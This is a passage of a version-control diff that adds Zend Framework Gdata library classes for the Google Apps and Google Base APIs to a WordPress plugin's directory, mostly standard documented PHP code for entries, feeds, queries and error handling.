+    protected $_domain = null;
+    
+    /**
+     * Create a new instance.
+     * 
+     * @param string $domain (optional) The Google Apps-hosted domain to use 
+     *          when constructing query URIs.
+     */
+    public function __construct($domain = null)
+    {
+        parent::__construct();
+        $this->_domain = $domain;
+    }
+    
+    /**
+     * Set domain for this service instance. This should be a fully qualified 
+     * domain, such as 'foo.example.com'.
+     *
+     * This value is used when calculating URLs for retrieving and posting 
+     * entries. If no value is specified, a URL will have to be manually 
+     * constructed prior to using any methods which interact with the Google 
+     * Apps provisioning service.
+     * 
+     * @param string $value The domain to be used for this session.
+     */
+    public function setDomain($value)
+    {
+        $this->_domain = $value;
+    }
+
+    /**
+     * Get domain for this service instance. This should be a fully qualified 
+     * domain, such as 'foo.example.com'. If no domain is set, null will be 
+     * returned.
+     * 
+     * @see setDomain
+     * @return string The domain to be used for this session, or null if not 
+     *          set.
+     */
+    public function getDomain()
+    {
+        return $this->_domain;
+    }
+    
+    /**
+     * Returns the base URL used to access the Google Apps service, based 
+     * on the current domain. The current domain can be temporarily 
+     * overridden by providing a fully qualified domain as $domain.
+     *
+     * @see setDomain
+     * @param string $domain (optional) A fully-qualified domain to use 
+     *          instead of the default domain for this service instance.
+     */
+     public function getBaseUrl($domain = null)
+     {
+         if ($domain !== null) {
+             return Zend_Gdata_Gapps::APPS_BASE_FEED_URI . '/' . $domain;
+         }
+         else if ($this->_domain !== null) {
+             return Zend_Gdata_Gapps::APPS_BASE_FEED_URI . '/' . $this->_domain;
+         }
+         else {
+             require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+             throw new Zend_Gdata_App_InvalidArgumentException(
+                 'Domain must be specified.');
+         }
+     }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/ServiceException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/ServiceException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/ServiceException.php	(revision 44)
@@ -0,0 +1,207 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+
+/**
+ * Zend_Exception
+ */
+require_once 'Zend/Exception.php';
+
+/**
+ * Zend_Gdata_Gapps_Error
+ */
+require_once 'Zend/Gdata/Gapps/Error.php';
+
+/**
+ * Gdata Gapps Exception class. This is thrown when an 
+ * AppsForYourDomainErrors message is received from the Google Apps 
+ * servers.
+ *
+ * Several different errors may be represented by this exception. For a list 
+ * of error codes available, see getErrorCode.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_ServiceException extends Zend_Exception
+{
+    
+    protected $_rootElement = "AppsForYourDomainErrors";
+    
+    /** 
+     * Array of Zend_Gdata_Error objects indexed by error code.
+     * 
+     * @var array
+     */
+    protected $_errors = array();
+    
+    /**
+     * Create a new ServiceException.
+     *
+     * @return array An array containing a collection of 
+     *          Zend_Gdata_Gapps_Error objects.
+     */
+    public function __construct($errors = null) {
+        parent::__construct("Server errors encountered");
+        if ($errors !== null) {
+            $this->setErrors($errors);
+        }
+    }
+    
+    /**
+     * Add a single Error object to the list of errors received by the 
+     * server.
+     * 
+     * @param Zend_Gdata_Gapps_Error $error An instance of an error returned 
+     *          by the server. The error's errorCode must be set.
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function addError($error) {
+        // Make sure that we don't try to index an error that doesn't 
+        // contain an index value.
+        if ($error->getErrorCode() == null) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception("Error encountered without corresponding error code.");
+        }
+        
+        $this->_errors[$error->getErrorCode()] = $error;
+    }
+    
+    /**
+     * Set the list of errors as sent by the server inside of an 
+     * AppsForYourDomainErrors tag.
+     * 
+     * @param array $array An associative array containing a collection of 
+     *          Zend_Gdata_Gapps_Error objects. All errors must have their 
+     *          errorCode value set.
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function setErrors($array) {
+        $this->_errors = array();
+        foreach ($array as $error) {
+            $this->addError($error);
+        }
+    }
+    
+    /**
+     * Get the list of errors as sent by the server inside of an 
+     * AppsForYourDomainErrors tag.
+     * 
+     * @return array An associative array containing a collection of 
+     *          Zend_Gdata_Gapps_Error objects, indexed by error code.
+     */
+    public function getErrors() {
+        return $this->_errors;
+    }
+    
+    /**
+     * Return the Error object associated with a specific error code.
+     *
+     * @return Zend_Gdata_Gapps_Error The Error object requested, or null 
+     *              if not found.
+     */
+    public function getError($errorCode) {
+        if (array_key_exists($errorCode, $this->_errors)) {
+            $result = $this->_errors[$errorCode];
+            return $result;
+        } else {
+            return null;
+        }
+    }
+    
+    /**
+     * Check whether or not a particular error code was returned by the 
+     * server.
+     *
+     * @param integer $errorCode The error code to check against.
+     * @return boolean Whether or not the supplied error code was returned 
+     *          by the server.
+     */
+    public function hasError($errorCode) {
+        return array_key_exists($errorCode, $this->_errors);
+    }
+    
+    /**
+     * Import an AppsForYourDomain error from XML.
+     * 
+     * @param string $string The XML data to be imported
+     * @return Zend_Gdata_Gapps_ServiceException Provides a fluent interface.
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function importFromString($string) {
+        if ($string) {
+            // Check to see if an AppsForYourDomainError exists
+            //
+            // track_errors is temporarily enabled so that if an error 
+            // occurs while parsing the XML we can append it to an 
+            // exception by referencing $php_errormsg
+            @ini_set('track_errors', 1);
+            $doc = new DOMDocument();
+            $success = @$doc->loadXML($string);
+            @ini_restore('track_errors');
+            
+            if (!$success) {
+                require_once 'Zend/Gdata/App/Exception.php';
+                // $php_errormsg is automatically generated by PHP if 
+                // an error occurs while calling loadXML(), above.
+                throw new Zend_Gdata_App_Exception("DOMDocument cannot parse XML: $php_errormsg");
+            }
+            
+            // Ensure that the outermost node is an AppsForYourDomain error.
+            // If it isn't, something has gone horribly wrong.
+            $rootElement = $doc->getElementsByTagName($this->_rootElement)->item(0);
+            if (!$rootElement) {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('No root <' . $this->_rootElement . '> element found, cannot parse feed.');
+            }
+            
+            foreach ($rootElement->childNodes as $errorNode) {
+                if (!($errorNode instanceof DOMText)) {
+                    $error = new Zend_Gdata_Gapps_Error();
+                    $error->transferFromDom($errorNode);
+                    $this->addError($error);
+                }
+            }
+            return $this;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('XML passed to transferFromXML cannot be null');
+        }
+        
+    }
+    
+    /**
+     * Get a human readable version of this exception.
+     * 
+     * @return string
+     */
+    public function __toString() {
+        $result = "The server encountered the following errors processing the request:";
+        foreach ($this->_errors as $error) {
+            $result .= "\n" . $error->__toString();
+        }
+        return $result;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserEntry.php	(revision 44)
@@ -0,0 +1,294 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_Login
+ */
+require_once 'Zend/Gdata/Gapps/Extension/Login.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_Name
+ */
+require_once 'Zend/Gdata/Gapps/Extension/Name.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_Quota
+ */
+require_once 'Zend/Gdata/Gapps/Extension/Quota.php';
+
+/**
+ * Data model class for a Google Apps User Entry.
+ *
+ * Each user entry describes a single user within a Google Apps hosted
+ * domain.
+ *
+ * To transfer user entries to and from the Google Apps servers, including
+ * creating new entries, refer to the Google Apps service class,
+ * Zend_Gdata_Gapps.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_UserEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Gapps_UserEntry';
+
+    /**
+     * <apps:login> element containing information about this user's
+     * account, including their username and permissions.
+     *
+     * @var Zend_Gdata_Gapps_Extension_Login
+     */
+    protected $_login = null;
+
+    /**
+     * <apps:name> element containing the user's actual name.
+     *
+     * @var Zend_Gdata_Gapps_Extension_Name
+     */
+    protected $_name = null;
+
+    /**
+     * <apps:quotq> element describing any storage quotas in place for
+     * this user.
+     *
+     * @var Zend_Gdata_Gapps_Extension_Quota
+     */
+    protected $_quota = null;
+
+    /**
+     * <gd:feedLink> element containing information about other feeds
+     * relevant to this entry.
+     *
+     * @var Zend_Gdata_Extension_FeedLink
+     */
+    protected $_feedLink = array();
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_login !== null) {
+            $element->appendChild($this->_login->getDOM($element->ownerDocument));
+        }
+        if ($this->_name !== null) {
+            $element->appendChild($this->_name->getDOM($element->ownerDocument));
+        }
+        if ($this->_quota !== null) {
+            $element->appendChild($this->_quota->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_feedLink as $feedLink) {
+            $element->appendChild($feedLink->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('apps') . ':' . 'login';
+                $login = new Zend_Gdata_Gapps_Extension_Login();
+                $login->transferFromDOM($child);
+                $this->_login = $login;
+                break;
+            case $this->lookupNamespace('apps') . ':' . 'name';
+                $name = new Zend_Gdata_Gapps_Extension_Name();
+                $name->transferFromDOM($child);
+                $this->_name = $name;
+                break;
+            case $this->lookupNamespace('apps') . ':' . 'quota';
+                $quota = new Zend_Gdata_Gapps_Extension_Quota();
+                $quota->transferFromDOM($child);
+                $this->_quota = $quota;
+                break;
+            case $this->lookupNamespace('gd') . ':' . 'feedLink';
+                $feedLink = new Zend_Gdata_Extension_FeedLink();
+                $feedLink->transferFromDOM($child);
+                $this->_feedLink[] = $feedLink;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value of the login property for this object.
+     *
+     * @see setLogin
+     * @return Zend_Gdata_Gapps_Extension_Login The requested object.
+     */
+    public function getLogin()
+    {
+        return $this->_login;
+    }
+
+    /**
+     * Set the value of the login property for this object. This property
+     * is used to store the username address of the current user.
+     *
+     * @param Zend_Gdata_Gapps_Extension_Login $value The desired value for
+     *          this instance's login property.
+     * @return Zend_Gdata_Gapps_UserEntry Provides a fluent interface.
+     */
+    public function setLogin($value)
+    {
+        $this->_login = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the name property for this object.
+     *
+     * @see setName
+     * @return Zend_Gdata_Gapps_Extension_Name The requested object.
+     */
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    /**
+     * Set the value of the name property for this object. This property
+     * is used to store the full name of the current user.
+     *
+     * @param Zend_Gdata_Gapps_Extension_Name $value The desired value for
+     *          this instance's name property.
+     * @return Zend_Gdata_Gapps_UserEntry Provides a fluent interface.
+     */
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value of the quota property for this object.
+     *
+     * @see setQuota
+     * @return Zend_Gdata_Gapps_Extension_Quota The requested object.
+     */
+    public function getQuota()
+    {
+        return $this->_quota;
+    }
+
+    /**
+     * Set the value of the quota property for this object. This property
+     * is used to store the amount of storage available for the current
+     * user. Quotas may not be modifiable depending on the domain used.
+     *
+     * @param Zend_Gdata_Gapps_Extension_Quota $value The desired value for
+     *          this instance's quota property.
+     * @return Zend_Gdata_Gapps_UserEntry Provides a fluent interface.
+     */
+    public function setQuota($value)
+    {
+        $this->_quota = $value;
+        return $this;
+    }
+
+    /**
+     * Returns all feed links for this entry, or if a rel value is
+     * specified, the feed link associated with that value is returned.
+     *
+     * @param string $rel The rel value of the link to be found. If null,
+     *          the array of links is returned instead.
+     * @return mixed Either an array of Zend_Gdata_Extension_FeedLink
+     *          objects if $rel is null, a single
+     *          Zend_Gdata_Extension_FeedLink object if $rel is specified
+     *          and a matching feed link is found, or null if $rel is
+     *          specified and no matching feed link is found.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Set the value of the feed link property for this object. This property
+     * is used to provide links to alternative feeds relevant to this entry.
+     *
+     * @param array $value A collection of
+     *          Zend_Gdata_Gapps_Extension_FeedLink objects.
+     * @return Zend_Gdata_Gapps_EventEntry Provides a fluent interface.
+     */
+    public function setFeedLink($value)
+    {
+        $this->_feedLink = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserFeed.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_UserEntry
+ */
+require_once 'Zend/Gdata/Gapps/UserEntry.php';
+
+/**
+ * Data model for a collection of Google Apps user entries, usually 
+ * provided by the Google Apps servers.
+ * 
+ * For information on requesting this feed from a server, see the Google 
+ * Apps service class, Zend_Gdata_Gapps.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_UserFeed extends Zend_Gdata_Feed
+{
+    
+    protected $_entryClassName = 'Zend_Gdata_Gapps_UserEntry';
+    protected $_feedClassName = 'Zend_Gdata_Gapps_UserFeed';
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/UserQuery.php	(revision 44)
@@ -0,0 +1,146 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Query
+ */
+require_once('Zend/Gdata/Gapps/Query.php');
+
+/**
+ * Assists in constructing queries for Google Apps user entries. 
+ * Instances of this class can be provided in many places where a URL is 
+ * required.
+ * 
+ * For information on submitting queries to a server, see the Google Apps
+ * service class, Zend_Gdata_Gapps.
+ * 
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_UserQuery extends Zend_Gdata_Gapps_Query
+{
+
+    /**
+     * If not null, specifies the username of the user who should be 
+     * retrieved by this query.
+     * 
+     * @var string
+     */
+    protected $_username = null;
+
+    /**
+     * Create a new instance.
+     * 
+     * @param string $domain (optional) The Google Apps-hosted domain to use 
+     *          when constructing query URIs.
+     * @param string $username (optional) Value for the username 
+     *          property.
+     * @param string $startUsername (optional) Value for the 
+     *          startUsername property.
+     */
+    public function __construct($domain = null, $username = null, 
+            $startUsername = null)
+    {
+        parent::__construct($domain);
+        $this->setUsername($username);
+        $this->setStartUsername($startUsername);
+    }
+
+    /**
+     * Set the username to query for. When set, only users with a username 
+     * matching this value will be returned in search results. Set to 
+     * null to disable filtering by username.
+     * 
+     * @see getUsername
+     * @param string $value The username to filter search results by, or null to 
+     *              disable.
+     */
+    public function setUsername($value)
+    {
+        $this->_username = $value;
+    }
+
+    /**
+     * Get the username to query for. If no username is set, null will be 
+     * returned.
+     * 
+     * @param string $value The username to filter search results by, or 
+     *          null if disabled.
+     */
+    public function getUsername()
+    {
+        return $this->_username;
+    }
+
+    /**
+     * Set the first username which should be displayed when retrieving 
+     * a list of users.
+     * 
+     * @param string $value The first username to be returned, or null to 
+     *          disable.
+     */
+    public function setStartUsername($value)
+    {
+        if ($value !== null) {
+            $this->_params['startUsername'] = $value;
+        } else {
+            unset($this->_params['startUsername']);
+        }
+    }
+
+    /**
+     * Get the first username which should be displayed when retrieving 
+     * a list of users.
+     * 
+     * @see setStartUsername
+     * @return string The first username to be returned, or null if 
+     *          disabled.
+     */
+    public function getStartUsername()
+    {
+        if (array_key_exists('startUsername', $this->_params)) {
+            return $this->_params['startUsername'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the query URL generated by this query instance.
+     * 
+     * @return string The query URL for this instance.
+     */
+    public function getQueryUrl()
+    {
+        $uri = $this->getBaseUrl();
+        $uri .= Zend_Gdata_Gapps::APPS_USER_PATH;
+        if ($this->_username !== null) {
+            $uri .= '/' . $this->_username;
+        }
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase.php	(revision 44)
@@ -0,0 +1,208 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Gbase_ItemFeed
+ */
+require_once 'Zend/Gdata/Gbase/ItemFeed.php';
+
+/**
+ * @see Zend_Gdata_Gbase_ItemEntry
+ */
+require_once 'Zend/Gdata/Gbase/ItemEntry.php';
+
+/**
+ * @see Zend_Gdata_Gbase_SnippetEntry
+ */
+require_once 'Zend/Gdata/Gbase/SnippetEntry.php';
+
+/**
+ * @see Zend_Gdata_Gbase_SnippetFeed
+ */
+require_once 'Zend/Gdata/Gbase/SnippetFeed.php';
+
+/**
+ * Service class for interacting with the Google Base data API
+ *
+ * @link http://code.google.com/apis/base
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase extends Zend_Gdata
+{
+
+    /**
+     * Path to the customer items feeds on the Google Base server.
+     */
+    const GBASE_ITEM_FEED_URI = 'http://www.google.com/base/feeds/items';
+
+    /**
+     * Path to the snippets feeds on the Google Base server.
+     */
+    const GBASE_SNIPPET_FEED_URI = 'http://www.google.com/base/feeds/snippets';
+
+    /**
+     * Authentication service name for Google Base
+     */
+    const AUTH_SERVICE_NAME = 'gbase';
+
+    /**
+     * The default URI for POST methods
+     *
+     * @var string
+     */
+    protected $_defaultPostUri = self::GBASE_ITEM_FEED_URI;
+
+    /**
+     * Namespaces used for Zend_Gdata_Gbase
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('g', 'http://base.google.com/ns/1.0', 1, 0),
+        array('batch', 'http://schemas.google.com/gdata/batch', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_Gbase object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google Apps servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Gbase');
+        $this->registerPackage('Zend_Gdata_Gbase_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+    }
+
+    /**
+     * Retreive feed object
+     *
+     * @param mixed $location The location for the feed, as a URL or Query
+     * @return Zend_Gdata_Gbase_ItemFeed
+     */
+    public function getGbaseItemFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = self::GBASE_ITEM_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gbase_ItemFeed');
+    }
+
+    /**
+     * Retreive entry object
+     *
+     * @param mixed $location The location for the feed, as a URL or Query
+     * @return Zend_Gdata_Gbase_ItemEntry
+     */
+    public function getGbaseItemEntry($location = null)
+    {
+        if ($location === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Location must not be null');
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Gbase_ItemEntry');
+    }
+
+    /**
+     * Insert an entry
+     *
+     * @param Zend_Gdata_Gbase_ItemEntry $entry The Base entry to upload
+     * @param boolean $dryRun Flag for the 'dry-run' parameter
+     * @return Zend_Gdata_Gbase_ItemFeed
+     */
+    public function insertGbaseItem($entry, $dryRun = false)
+    {
+        if ($dryRun == false) {
+            $uri = $this->_defaultPostUri;
+        } else {
+            $uri = $this->_defaultPostUri . '?dry-run=true';
+        }
+        $newitem = $this->insertEntry($entry, $uri, 'Zend_Gdata_Gbase_ItemEntry');
+        return $newitem;
+    }
+
+    /**
+     * Update an entry
+     *
+     * @param Zend_Gdata_Gbase_ItemEntry $entry The Base entry to be updated
+     * @param boolean $dryRun Flag for the 'dry-run' parameter
+     * @return Zend_Gdata_Gbase_ItemEntry
+     */
+    public function updateGbaseItem($entry, $dryRun = false)
+    {
+        $returnedEntry = $entry->save($dryRun);
+        return $returnedEntry;
+    }
+
+    /**
+     * Delete an entry
+     *
+     * @param Zend_Gdata_Gbase_ItemEntry $entry The Base entry to remove
+     * @param boolean $dryRun Flag for the 'dry-run' parameter
+     * @return Zend_Gdata_Gbase_ItemFeed
+     */
+    public function deleteGbaseItem($entry, $dryRun = false)
+    {
+        $entry->delete($dryRun);
+        return $this;
+    }
+
+    /**
+     * Retrieve feed object
+     *
+     * @param mixed $location The location for the feed, as a URL or Query
+     * @return Zend_Gdata_Gbase_SnippetFeed
+     */
+    public function getGbaseSnippetFeed($location = null)
+    {
+        if ($location === null) {
+            $uri = self::GBASE_SNIPPET_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Gbase_SnippetFeed');
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Entry.php	(revision 44)
@@ -0,0 +1,150 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Gbase_Extension_BaseAttribute
+ */
+require_once 'Zend/Gdata/Gbase/Extension/BaseAttribute.php';
+
+/**
+ * Base class for working with Google Base entries.
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_Entry extends Zend_Gdata_Entry
+{
+
+    /**
+     * Name of the base class for Google Base entries
+     *
+     * var @string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Gbase_Entry';
+
+    /**
+     * Google Base attribute elements in the 'g' namespace
+     *
+     * @var array
+     */
+    protected $_baseAttributes = array();
+
+    /**
+     * Constructs a new Zend_Gdata_Gbase_ItemEntry object.
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gbase::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
